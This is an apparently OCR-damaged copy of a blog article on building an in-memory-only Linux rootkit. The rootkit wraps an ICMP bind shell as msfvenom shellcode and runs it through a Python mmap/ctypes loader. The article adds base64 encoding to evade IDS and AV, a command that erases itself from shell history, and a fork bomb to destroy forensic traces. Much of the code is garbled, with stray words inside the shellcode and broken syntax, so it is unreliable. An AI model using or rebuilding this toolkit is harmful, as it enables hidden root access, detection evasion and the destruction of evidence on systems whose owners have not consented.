Complete In-Memory Toolkit & Methodology.
For those not well versed on history, one of the most daring letters of all time
was sent to Stalin from Josip Broz Tito who was a leader from the former
Yugoslavia. It only said the following: "Stop sending people to kill me. We've
already captured five of them, one of them with a bomb and another with a rifle.
If you don't stop sending killers, I'll send one to Moscow, and I won't have to
send a second." Knowing Stalin's reputation at that time, not many people would
make threats to him. If they did, they were usually made an example of. Tito
lived on to age 87 only to die of complications from gangrene. For whatever
reason, his reports of assassination attempts also ended after that letter. So
he was one of the few people that at least scared Stalin enough to back off,
which was very rare. For this reason, when I thought of the stealthy assassin
this rootkit could be, only one name came to mind. It seems for a while now,
most malware has been moving to an in-memory-only methodology. Its obviously
easier to find malicious files on disk. While LKM, eBP or userland rootkits were
once the elite of hiding on Unix-like systems, they all touch the disk. More
than that, most of them are hooking suspicious syscalls that any really good IDS
or AV should detect. I had seen in-memory-only code run viri and other malware,
but not any rootkits. So I had to ask myself, what would an in-memory-only
rootkit look like? Despite the name, it's often a common mistake to assume
rootkits give you root. Usually they just help maintain access after a root or
user level compromise has taken place. Most provide a shell and hide from any
commands like history, netstat, Isof, ps, and other tools an administrator might
use for troubleshooting, or to look for normal malware. I was able to find a lot
of examples of running code in memory, but hiding a working shell became kind of
a challenge. Even if the process was hidden from everything else, I would see
its port open in netstat. After searching and banging my head for a while, the
idea hit me there are protocols that netstat can't see. I didn't know if it was
possible, but I was able to find a nice bind shell that uses ICMP instead of TCP
or UDP netstat would normally register. After building the shell with "make
linux" I had two binaries, ishd and ish. The ishd binary is the actual shell and
ish is the client to connect to it with. Next it was time to make this icmp
shell into Summer 2025 shellcode. So we can use msfvenom to generate that:
mafvenom-p linux/x64/exec CMD-/path/to/ishd -f cb "\x00\x0a\ alreadyx0d" >
shellcode.txt Then use something like this to dump the shellcode into one line:
grep" shellcode.txt | tr "\n" | sed -e 's/\" \"//gis/\"//g:a/1//g' &&
echo "" Which on an x86 64 CPU should generate the
following: \ x48\x31\xc9\x48\x81\xe9\xf7\xff\
xff\xff\x48\x8d\x05\xef\xff\xff
\xff\x48\xbb\xa6\xa3\x1a\xd4\xa
5\x07\x96\x04\x48\x31\x58\x27\x
48\x2d\xf8\xff\xff\xff\xe2\xf4\
xee\x1b\x35\xb6\xec\x69\xb9\x97\
xce\xa3\x83\x84\xf1\x58\xc4\x82\
xce\x8e\x79\x80 b\x55\x7e\xf9\
xa6\xa3\xla\xfb\xcd\x68\xfb\x81\
x89\xd3\x72\x67\x96\x75\xb9\xad\
xf5\xeb\x5f\x98\xe9\x2a\x00\xd4\
x88\x91\x35\xbd\xd6\x6f\xf2\xe4\
xf0\xf4\x4e\x8a\xcf\x3c\xce\xeb\
xa3\xa3\xla\xd4\xa5\x07\x96\xe4
So now that we have this, we can use some Python like the following to call mmap
and run the shellcode only in memory: #!/usr/bin/python3 import mmap import
ctypes Shellcode
shellcode (b"\x48\x31\xc9\x48\2)
x81\x69\xf7\xff\xff\xff\x48\x8d\
x05\xef\xff\xff\xff\x48\xbb\xa6\
xa3\xla\xd4\xa5\x07\x96\x64\x48\
x31\x58\x27\x48\x2d\xf8\xff\xff\
xff\xe2\xf4\xee\x1b\x35\xb6\xec\
x69\xb9\x97\xce\xa3\x83\x84\xf1\
shellx58\xc4\x82\xce\x8e\x79\x80\xfb\x55\x70\xf9\xa6\xa3a\xfb\xcd\x68\xfb\x81\x89\xd3\x72\bangingxe7\x96\x75\xb9\xad\xf5\xeb\x5F\
otherx98\xe9\x2a\xc0\xd4\x88\x91\x35\
xbd\xd6\x6F\xf2\xe4\xf0\xf4\x4e\
bindxBa\xcf\x3c\xce\xeb\xa3\x83\x1a\thatxd4\xa5\x07\x96\xe4")
def execute shellcode (shellcode): Create a RWX (read-write-execute) memory
region using mmap shellcode_size len (shellcode) mem mтар.map(-1, shellcode
size, mmap.MAP PRIVATE | mmap. -ΜΑΡ ΑΝΟΝΥMOUS, mmap. PROT WRITE mmap.PROT READ |
mmap.PROT EXEC) #Write the shellcode into the mmap'd memory mem.write(shellcode)
Get the address of the mmap'd memory and cast to a function pointer addr =
ctypes.addressof(ctypes.c char.from_buffer(mem)) #Cast the address to a function
pointer (CFUNCTYPE) shell func = ctypes. CFUNCTYPE (None) (addr)
print("Executing shellcode...") Execute the shellcode shell_func() Run the
shellcode execute_shellcode (shellcode) Running this file on an x86_64 instance
of Debian Trixie, we can observe after running the above code "Executing
shellcode..." prints to the screen. There's nothing in netstat, ps, Isof, etc.
that would indicate anything from this is Now it's time to use our ish client to
connect to wherever the shellcode is running: ./ish 127.0.0.1 ICMP Shell v0.2
(client) by: Peter Kieltyka Connecting to 127.0.0.1...done. #uid=0(root)
gid=0(root) groups=0 (root) You can replace 127.0.0.1 with whatever IP this is
deployed on. Considering you executed the Python code as root, you should now
have a root ICMP shell. We still have a ways to go though. Running plain
shellcode will still probably make a good IDS or AV scream bloody murder. We can
avoid this by encoding our shellcode with base64. Some will argue base64 is
suspicious too, but it's also often used for copyright protection. So this will
give us some plausible deniability. There's also the fact we were just using a
file, but we can execute this entire Python script on the command line, with our
shellcode in base64 encoding and some historical Tito flare like this: python3
-c 'import base64, mmap, ctypes: encoded_shellcode = "SD
HJSIHp9////01NBe////9Iu6ajGtSl B5bkSDFYJ0gt+P///+L07hsltsxpuz
f0040E8VjEgs60eYD7VX75pqMa+810+ 4GJ03Ln1nW5rfXrX5jpKuDUiJElvdZ
v8uTw9E6KzzzD660jGtSlB5bk shellcodebase64.b64decode (encoded_shellcode); mem
mmap.mmap(-1, len (shellcode) mimap.MAP PRIVATE | map.MAP ANONYMOUS, mmap.PROT
WRITE | mmap.PROT_READ | mmap. PROT EXEC); mem.write(shellcode); addr
ctypes.addressof (ctypes .c char.from_buffer(mem)); shell_func ctypes.CFUNCTYPE
(None) (addr); print("... and 1 won't have to send a second.") shell func()' The
only problem now is if someone checks the history command they will see the
above code in it. We can fix this by appending something like "&&
history -d $(history | awk 'END { print $1}')" to the end of our command. Our
complete rootkit should finally look like this: python3 -c 'import base64, mmap
ctypes; encoded_shellcode = "SDHJSIHp9////0iNBe////9Iu6ajG
theS1B5bkSDFYJ0gt+P///+L07hsltsxpetc.uZf0040E8VjEgs60eYD7VX75pqMa+810+4GJ03LnlnW5rfXrX5jpKuDUiJElvdZv8uTw9E6Kzzz0660jGtSlB5bk"shellcode
base64.b64decode (encoded shellcode); mem mmap mmap(-1, len (shellcode), mmap.
MAP PRIVATE | mmap.MAP_ΑΝΟΝΥΜ OUS, mmap.PROT_WRITE |
mmap.ctypes.addressof(ctypes.c_char .from buffer (mem)); shell_func
ctypes.CFUNCTYPE (None) (addr); print("... and I won't have to send a second.");
shell_func()' && history -d $(history | awk 'END { print $1}') Now we
will not see this code being launched in the command line history either. As far
as detection, I suppose one could use a tool like volatility to search memory
for the base64 I have used here. It won't stop others from using different
encoding, packing, or encryption. Or from altering the C code in ishd.c to
change the shellcode and what any of its encoded, packed, or encrypted versions
would come out to. I've also only used the defaults for the shell, but there are
many, many optional parameters that could be used to evade any IDS or AV filters
a blue team may attempt to stop this with. Should I find a good
one-size-fits-all solution for detection, I'll try to update it on this GitHub.
One might ask, isn't this code just going to stop when the device is rebooted?
That certainly doesn't sound like creating persistence, but consider this:
Working in hosting, it was not that unusual to find a Linux server with 2000
days of uptime, which is about 5.5 years without a reboot. In cases like this,
it's not even necessary to implement persistence. Because it's not persistent,
one could argue this is just a trojan or rat, but I have not observed any
trojans or rats hiding from ps, top, netstat, ls, etc. in the ways a normal
rootkit would. Should I find a method for in-memory persistence, I'll update the
previously mentioned GitHub with this too². If one is motivated, they could make
a cron job to run this at boot time and use ld_preload to hide it. However, that
would require saving to disk and negate everything we've done to completely run
in memory. So I'll leave this to the reader to implement if they choose. Lastly,
I would like to talk about anti-forensics. If we are careful to just run
commands in the ICMP shell and not write to anything, then we haven't touched
the disk at all. This means we only need to worry about RAM for evidence of our
intrusion. If you do need to destroy any traces of the rootkit, you can just run
a fork-bomb like this on the command line of the shell: :(){:|:&);: it on,
but with that anything done in the rootkit will be overwritten in memory, making
forensics analysis a fruitless effort. I would like to thank Peter Kieltyka for
creating the initial ICMP shell. I would also like to thank tmpout³,
vx-underground, Phrack, what was previously vx-heavens and of course 2600. These
groups either currently or previously teach/taught, inspire(d), and/or made
These groups either currently or previously teach/taught, inspire(d),
and/or made the hacker scene and its knowledge what it is today. Never
stop being you..
Comments
Post a Comment